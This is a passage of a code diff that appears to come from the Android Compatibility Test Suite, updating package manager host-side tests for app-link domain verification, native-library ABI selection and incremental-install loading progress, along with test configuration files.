 import com.android.cts.packagemanager.verify.domain.android.DomainVerificationIntentTestBase
@@ -25,6 +29,8 @@
 import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_1
 import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_2
 import com.google.common.truth.Truth.assertThat
+import org.junit.Assume.assumeTrue
+import org.junit.BeforeClass
 import org.junit.Test
 import org.junit.runner.RunWith
 import org.junit.runners.Parameterized
@@ -32,6 +38,14 @@
 @RunWith(Parameterized::class)
 class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase(DOMAIN_1) {
 
+    companion object {
+        @JvmStatic
+        @BeforeClass
+        fun assumeAtLeastS() {
+            assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S))
+        }
+    }
+
     @Test
     fun launchVerified() {
         setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
@@ -73,6 +87,44 @@
         assertResolvesTo(browsers)
     }
 
+    @CtsDownstreamingTest
+    @Test
+    fun launchSelectedPreservedOnUpdate() {
+        try {
+            setAppLinks(DECLARING_PKG_NAME_1, false, DOMAIN_1, DOMAIN_2)
+            setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
+
+            val hostToStateMapBefore = manager.getDomainVerificationUserState(DECLARING_PKG_NAME_1)
+                ?.hostToStateMap
+
+            assertThat(hostToStateMapBefore?.get(DOMAIN_1))
+                .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+            assertThat(hostToStateMapBefore?.get(DOMAIN_2))
+                .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+
+            assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+            assertThat(
+                SystemUtil.runShellCommand(
+                    "pm install -r -t /data/local/tmp/CtsDomainVerificationTestDeclaringApp1.apk"
+                ).trim()
+            ).isEqualTo("Success")
+
+            val hostToStateMapAfter = manager.getDomainVerificationUserState(DECLARING_PKG_NAME_1)
+                ?.hostToStateMap
+
+            assertThat(hostToStateMapAfter?.get(DOMAIN_1))
+                .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+            assertThat(hostToStateMapAfter?.get(DOMAIN_2))
+                .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+
+            assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+        } catch(e: AssertionError) {
+            throw AssertionError(
+                    "Device may be missing patch I2c864a34f356e32948cbc4e5d249e12c691a5726", e)
+        }
+    }
+
     @Test
     fun verifiedOverSelected() {
         setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
@@ -129,6 +181,31 @@
         assertResolvesTo(browsers)
     }
 
+    @CtsDownstreamingTest
+    @Test
+    fun disableHandlingWhenVerifiedPreservedOnUpdate() {
+        try {
+            setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
+
+            assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+            setAppLinksAllowed(DECLARING_PKG_NAME_1, userId, false)
+
+            assertResolvesTo(browsers)
+
+            assertThat(
+                SystemUtil.runShellCommand(
+                    "pm install -r -t /data/local/tmp/CtsDomainVerificationTestDeclaringApp1.apk"
+                ).trim()
+            ).isEqualTo("Success")
+
+            assertResolvesTo(browsers)
+        } catch(e: AssertionError) {
+            throw AssertionError(
+                    "Device may be missing patch I2c864a34f356e32948cbc4e5d249e12c691a5726", e)
+        }
+    }
+
     @Test
     fun disableHandlingWhenSelected() {
         setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
@@ -139,4 +216,29 @@
 
         assertResolvesTo(browsers)
     }
+
+    @CtsDownstreamingTest
+    @Test
+    fun disableHandlingWhenSelectedPreservedOnUpdate() {
+        try {
+            setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
+
+            assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+            setAppLinksAllowed(DECLARING_PKG_NAME_1, userId, false)
+
+            assertResolvesTo(browsers)
+
+            assertThat(
+                SystemUtil.runShellCommand(
+                    "pm install -r -t /data/local/tmp/CtsDomainVerificationTestDeclaringApp1.apk"
+                ).trim()
+            ).isEqualTo("Success")
+
+            assertResolvesTo(browsers)
+        } catch(e: AssertionError) {
+            throw AssertionError(
+                    "Device may be missing patch I2c864a34f356e32948cbc4e5d249e12c691a5726", e)
+        }
+    }
 }
diff --git a/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml
index 6090314..cad7454 100644
--- a/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
index 5e92d18..874d299 100644
--- a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
@@ -20,6 +20,7 @@
     name: "CtsDomainVerificationAndroidConstantsLibrary",
     defaults: ["cts_defaults"],
     srcs: ["src/**/*.kt"],
+    min_sdk_version: "31",
     static_libs: [
         "androidx.test.ext.junit",
         "androidx.test.rules",
diff --git a/hostsidetests/packagemanager/dynamicmime/AndroidTest.xml b/hostsidetests/packagemanager/dynamicmime/AndroidTest.xml
index 56ab6ca..62f681e 100644
--- a/hostsidetests/packagemanager/dynamicmime/AndroidTest.xml
+++ b/hostsidetests/packagemanager/dynamicmime/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/dynamicmime/test/Android.bp b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
index fb63a62..19bf606 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
@@ -33,5 +33,4 @@
         "general-tests",
     ],
     sdk_version: "test_current",
-    platform_apis: true,
 }
diff --git a/hostsidetests/packagemanager/extractnativelibs/AndroidTest.xml b/hostsidetests/packagemanager/extractnativelibs/AndroidTest.xml
index f411309..1b6f8b0 100644
--- a/hostsidetests/packagemanager/extractnativelibs/AndroidTest.xml
+++ b/hostsidetests/packagemanager/extractnativelibs/AndroidTest.xml
@@ -18,7 +18,9 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />    
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsExtractNativeLibsHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
index 4755b10..7930580 100644
--- a/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
+++ b/hostsidetests/packagemanager/extractnativelibs/apps/app_extract/src/com/android/cts/extractnativelibs/app/extract/ExtractNativeLibsTrueDeviceTest.java
@@ -47,7 +47,9 @@
         File nativeLibDir = new File(mContext.getApplicationInfo().nativeLibraryDir);
         Assert.assertTrue(nativeLibDir.exists());
         Assert.assertTrue(nativeLibDir.isDirectory());
-        Assert.assertTrue(nativeLibDir.getAbsolutePath().endsWith(expectedSubDir));
+        Assert.assertTrue("Native lib dir: " + nativeLibDir.getAbsolutePath()
+                        + " does not end with: " + expectedSubDir,
+                nativeLibDir.getAbsolutePath().endsWith(expectedSubDir));
         Assert.assertEquals(1, nativeLibDir.list().length);
     }
 
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java
index f36ab6b..a67c83d 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestAbiOverride.java
@@ -58,12 +58,17 @@
 
     @Override
     public void setUp() throws Exception {
+        // Skip the test if the requested test ABI is 32 bit (that defeats the purpose of this test)
+        assumeTrue(AbiUtils.getBitness(getAbi().getName()).equals("64"));
         final String deviceAbi = getDeviceAbi();
         final Set<String> deviceAbis = getDeviceAbis();
+        final Set<String> apkAbis = getApkAbis();
         // Only run these tests for supported ABIs
         assumeTrue(deviceAbis.contains(mFirstAbi));
+        assumeTrue(apkAbis.contains(mFirstAbi));
         if (!mSecondAbi.equals("-")) {
             assumeTrue(deviceAbis.contains(mSecondAbi));
+            assumeTrue(apkAbis.contains(mSecondAbi));
         }
         assumeTrue(AbiUtils.getBaseArchForAbi(deviceAbi).equals(
                 AbiUtils.getBaseArchForAbi(mFirstAbi)));
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
index 00afa9a..e1dcea4 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestBase.java
@@ -35,6 +35,7 @@
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.util.Arrays;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.Map;
@@ -176,17 +177,17 @@
      * @return an ABI string from AbiUtils.ABI_*
      * @return an ABI string from AbiUtils.ABI_*
      */
-    final String getExpectedLibAbi(String abiSuffix) throws Exception {
-        final String deviceAbi = getDeviceAbi();
-        final String deviceBitness = AbiUtils.getBitness(deviceAbi);
+    final String getExpectedLibAbi(String abiSuffix) {
+        final String testAbi = getAbi().getName();
+        final String testBitness = AbiUtils.getBitness(testAbi);
         final String libBitness;
-        // Use 32-bit native libs if device only supports 32-bit or APK only has 32-libs native libs
-        if (abiSuffix.equals("32") || deviceBitness.equals("32")) {
+        // Use 32-bit native libs if test only supports 32-bit or APK only has 32-libs native libs
+        if (abiSuffix.equals("32") || testBitness.equals("32")) {
             libBitness = "32";
         } else {
             libBitness = "64";
         }
-        final Set<String> libAbis = AbiUtils.getAbisForArch(AbiUtils.getBaseArchForAbi(deviceAbi));
+        final Set<String> libAbis = AbiUtils.getAbisForArch(AbiUtils.getBaseArchForAbi(testAbi));
         for (String libAbi : libAbis) {
             if (AbiUtils.getBitness(libAbi).equals(libBitness)) {
                 return libAbi;
@@ -195,22 +196,26 @@
         return null;
     }
 
+    /**
+     * Get ABIs supported by the test APKs. For example, if the test ABI is "armeabi-v7a", the test
+     * APKs should include native libs for "armeabi-v7a" and/or "arm64-v8a".
+     */
+    final Set<String> getApkAbis() throws Exception {
+        String testApkBaseArch = AbiUtils.getArchForAbi(getAbi().getName());
+        return AbiUtils.getAbisForArch(testApkBaseArch);
+    }
+
     final String getDeviceAbi() throws Exception {
         return getDevice().getProperty("ro.product.cpu.abi");
     }
 
+    /**
+     * Device ABIs might includes native bridge ABIs that are different from base arch (e.g.,
+     * emulators with NDK translations).
+     */
     final Set<String> getDeviceAbis() throws Exception {
-        String[] abiArray = getDevice().getProperty("ro.product.cpu.abilist").split(",");
-        // Ignore native bridge ABIs if they are of different base arch
-        String deviceBaseArch = AbiUtils.getArchForAbi(getDeviceAbi());
-        Set<String> deviceBaseArchSupportedAbis = AbiUtils.getAbisForArch(deviceBaseArch);
-        HashSet<String> deviceSupportedAbis = new HashSet<>();
-        for (String abi : abiArray) {
-            if (deviceBaseArchSupportedAbis.contains(abi)) {
-                deviceSupportedAbis.add(abi);
-            }
-        }
-        return deviceSupportedAbis;
+        String[] deviceAbis = getDevice().getProperty("ro.product.cpu.abilist").split(",");
+        return new HashSet<>(Arrays.asList(deviceAbis));
     }
 
     final Set<String> getDeviceAbiSuffixes() throws Exception {
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java
index ca82dec..d5ca4f7 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestInstalls.java
@@ -23,6 +23,8 @@
 import android.cts.host.utils.DeviceJUnit4Parameterized;
 import android.platform.test.annotations.AppModeFull;
 
+import com.android.tradefed.util.AbiUtils;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -72,6 +74,11 @@
             // Skip incremental installations for non-incremental devices
             assumeTrue(isIncrementalInstallSupported());
         }
+        // Skip 64 bit tests if the test requires 32 bit ABI
+        final boolean isTest32Bit = AbiUtils.getBitness(getAbi().getName()).equals("32");
+        if (isTest32Bit) {
+            assumeTrue(mAbiSuffix.equals("32"));
+        }
         if (!mAbiSuffix.equals("Both")) {
             // Skip tests for unsupported abi suffixes.
             assumeTrue(getDeviceAbiSuffixes().contains(mAbiSuffix));
diff --git a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java
index 9ad35f1..0450f54 100644
--- a/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java
+++ b/hostsidetests/packagemanager/extractnativelibs/src/android/extractnativelibs/cts/CtsExtractNativeLibsHostTestUpdates.java
@@ -23,6 +23,8 @@
 import android.cts.host.utils.DeviceJUnit4Parameterized;
 import android.platform.test.annotations.AppModeFull;
 
+import com.android.tradefed.util.AbiUtils;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -77,6 +79,8 @@
 
     @Override
     public void setUp() throws Exception {
+        // Skip the test if the requested test ABI is 32 bit (that defeats the purpose of this test)
+        assumeTrue(AbiUtils.getBitness(getAbi().getName()).equals("64"));
         if (mIsIncremental) {
             // Skip incremental installations for non-incremental devices
             assumeTrue(isIncrementalInstallSupported());
diff --git a/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml b/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml
index f64e040..7c1850d 100644
--- a/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml
+++ b/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml
@@ -19,9 +19,12 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsInstalledLoadingProgressDeviceTests.apk" />
+        <option name="test-file-name" value="CtsInstalledLoadingProgressTestsRegisterApp.apk" />
     </target_preparer>
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/trustedvoice/app/Android.bp b/hostsidetests/packagemanager/installedloadingprogess/apps/Android.bp
similarity index 72%
copy from hostsidetests/trustedvoice/app/Android.bp
copy to hostsidetests/packagemanager/installedloadingprogess/apps/Android.bp
index b8c7922..59348eb 100644
--- a/hostsidetests/trustedvoice/app/Android.bp
+++ b/hostsidetests/packagemanager/installedloadingprogess/apps/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2016 The Android Open Source Project
+//
+// Copyright (C) 2022 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -11,19 +12,28 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
+//
 
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 android_test_helper_app {
-    name: "CtsTrustedVoiceApp",
+    name: "CtsInstalledLoadingProgressTestsRegisterApp",
     defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
     srcs: ["src/**/*.java"],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
+        "vts10",
         "general-tests",
     ],
-    sdk_version: "current",
 }
diff --git a/common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml b/hostsidetests/packagemanager/installedloadingprogess/apps/AndroidManifest.xml
similarity index 62%
copy from common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml
copy to hostsidetests/packagemanager/installedloadingprogess/apps/AndroidManifest.xml
index dfc7779..d96170e 100644
--- a/common/device-side/bedstead/remotedpc/src/communication/main/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/installedloadingprogess/apps/AndroidManifest.xml
@@ -1,7 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
-  ~ Copyright (C) 2021 The Android Open Source Project
+  ~ Copyright (C) 2022 The Android Open Source Project
   ~
   ~ Licensed under the Apache License, Version 2.0 (the "License");
   ~ you may not use this file except in compliance with the License.
@@ -17,8 +16,14 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.bedstead.remotedpc.communication">
-    <uses-sdk android:minSdkVersion="27" />
+          package="com.android.tests.loadingprogress.registerapp">
     <application>
+        <activity android:name=".MainActivity"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
     </application>
-</manifest>
+</manifest>
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/installedloadingprogess/apps/src/com/android/tests/loadingprogress/registerapp/MainActivity.java b/hostsidetests/packagemanager/installedloadingprogess/apps/src/com/android/tests/loadingprogress/registerapp/MainActivity.java
new file mode 100644
index 0000000..a762dd0
--- /dev/null
+++ b/hostsidetests/packagemanager/installedloadingprogess/apps/src/com/android/tests/loadingprogress/registerapp/MainActivity.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.loadingprogress.registerapp;
+
+import android.app.Activity;
+import android.content.pm.LauncherApps;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.UserHandle;
+import android.util.Log;
+
+public class MainActivity extends Activity {
+    private static final String TAG = "RegisterApp";
+    @Override
+    public void onCreate(Bundle savedInstanceState)  {
+        super.onCreate(savedInstanceState);
+        LauncherApps.Callback callback = new LauncherApps.Callback() {
+            @Override
+            public void onPackageRemoved(String packageName, UserHandle user) {
+            }
+
+            @Override
+            public void onPackageAdded(String packageName, UserHandle user) {
+            }
+
+            @Override
+            public void onPackageChanged(String packageName, UserHandle user) {
+            }
+
+            @Override
+            public void onPackagesAvailable(String[] packageNames, UserHandle user,
+                    boolean replacing) {
+            }
+
+            @Override
+            public void onPackagesUnavailable(String[] packageNames, UserHandle user,
+                    boolean replacing) {
+            }
+        };
+        // Register a callback to LauncherApps Service. This is required before the test app is
+        // first installed so that loading progress listener can be activated for the test app.
+        final LauncherApps launcherApps = getApplicationContext().getSystemService(
+                LauncherApps.class);
+        if (launcherApps != null) {
+            launcherApps.registerCallback(callback, new Handler(getMainLooper()));
+        }
+        Log.i(TAG, "Registered the first callback");
+    }
+}
diff --git a/hostsidetests/packagemanager/installedloadingprogess/deviceside/src/com/android/tests/loadingprogress/device/LoadingProgressTest.java b/hostsidetests/packagemanager/installedloadingprogess/deviceside/src/com/android/tests/loadingprogress/device/LoadingProgressTest.java
index 4344b89..b8503ac 100644
--- a/hostsidetests/packagemanager/installedloadingprogess/deviceside/src/com/android/tests/loadingprogress/device/LoadingProgressTest.java
+++ b/hostsidetests/packagemanager/installedloadingprogess/deviceside/src/com/android/tests/loadingprogress/device/LoadingProgressTest.java
@@ -21,6 +21,7 @@
 
 import android.annotation.NonNull;
 import android.content.Context;
+import android.content.Intent;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.LauncherActivityInfo;
 import android.content.pm.LauncherApps;
@@ -53,6 +54,8 @@
 @LargeTest
 public class LoadingProgressTest {
     private static final String TEST_PACKAGE_NAME = "com.android.tests.loadingprogress.app";
+    private static final String REGISTER_APP_NAME = "com.android.tests.loadingprogress.registerapp";
+
     protected Context mContext;
     private PackageManager mPackageManager;
     private UserHandle mUser;
@@ -81,6 +84,14 @@
     }
 
     @Test
+    public void registerFirstLauncherAppsCallback() {
+        final Intent intent = mPackageManager.getLaunchIntentForPackage(REGISTER_APP_NAME);
+        assertNotNull(intent);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        mContext.startActivity(intent);
+    }
+
+    @Test
     public void testGetPartialLoadingProgress() throws Exception {
         // Package is installed but only partially streamed
         checkLoadingProgress(loadingProgress -> loadingProgress < 1.0f && loadingProgress > 0);
diff --git a/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java
index ca41dd6..db9a827 100644
--- a/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java
+++ b/hostsidetests/packagemanager/installedloadingprogess/hostside/src/com/android/tests/loadingprogress/host/IncrementalLoadingProgressTest.java
@@ -64,9 +64,15 @@
 
     @Before
     public void setUp() throws Exception {
+        // Only enable this test on devices with Incremental Delivery V2 features
         assumeTrue("true\n".equals(getDevice().executeShellCommand(
-                "pm has-feature android.software.incremental_delivery")));
+                "pm has-feature android.software.incremental_delivery 2")));
         getDevice().uninstallPackage(TEST_APP_PACKAGE_NAME);
+        // Before the test app is installed, launch a helper app to register a LauncherApps callback
+        // This ensures the loading progress listener is activated when the test app is installed
+        assertTrue(runDeviceTests(DEVICE_TEST_PACKAGE_NAME, TEST_CLASS_NAME,
+                "registerFirstLauncherAppsCallback"));
+
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
         final File base_apk = buildHelper.getTestFile(TEST_APK);
         assertNotNull(base_apk);
diff --git a/hostsidetests/packagemanager/multiuser/AndroidTest.xml b/hostsidetests/packagemanager/multiuser/AndroidTest.xml
index d05dabf..0e53839 100644
--- a/hostsidetests/packagemanager/multiuser/AndroidTest.xml
+++ b/hostsidetests/packagemanager/multiuser/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/parsing/host/AndroidTest.xml b/hostsidetests/packagemanager/parsing/host/AndroidTest.xml
index 2a82513..30f994f 100644
--- a/hostsidetests/packagemanager/parsing/host/AndroidTest.xml
+++ b/hostsidetests/packagemanager/parsing/host/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsPackageManagerParsingHostTestCases.jar" />
diff --git a/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml b/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml
index 6494b9f..b978585 100644
--- a/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml
+++ b/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsPackageManagerPreferredActivityHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/packagemanager/stats/.gitignore b/hostsidetests/packagemanager/stats/.gitignore
deleted file mode 120000
index b28cd14..0000000
--- a/hostsidetests/packagemanager/stats/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-../../../../tools/asuite/aidegen/data/gitignore_template
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/stats/AndroidTest.xml b/hostsidetests/packagemanager/stats/AndroidTest.xml
index b5d4eb7..cba2993 100644
--- a/hostsidetests/packagemanager/stats/AndroidTest.xml
+++ b/hostsidetests/packagemanager/stats/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsPackageManagerStatsHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/rollback/AndroidTest.xml b/hostsidetests/rollback/AndroidTest.xml
index c19d529..07d21e9 100644
--- a/hostsidetests/rollback/AndroidTest.xml
+++ b/hostsidetests/rollback/AndroidTest.xml
@@ -18,7 +18,8 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />    
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRollbackManagerHostTestHelperApp.apk" />
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
index 292b85e..f0be82f 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
@@ -110,15 +110,11 @@
     }
 
     @BeforeClass
-    public static void setup() {
-        setupApps();
-        setShouldForceStopTestApp(false);
-    }
-
-    private static void setupApps() {
+    public static void setupApps() {
         // Installed by target preparer
         assertThat(checkPermission(APP_B_NO_PERMS,
                 Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
+        setShouldForceStopTestApp(false);
     }
 
     @AfterClass
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java
index 7cad3db..7a7516e 100644
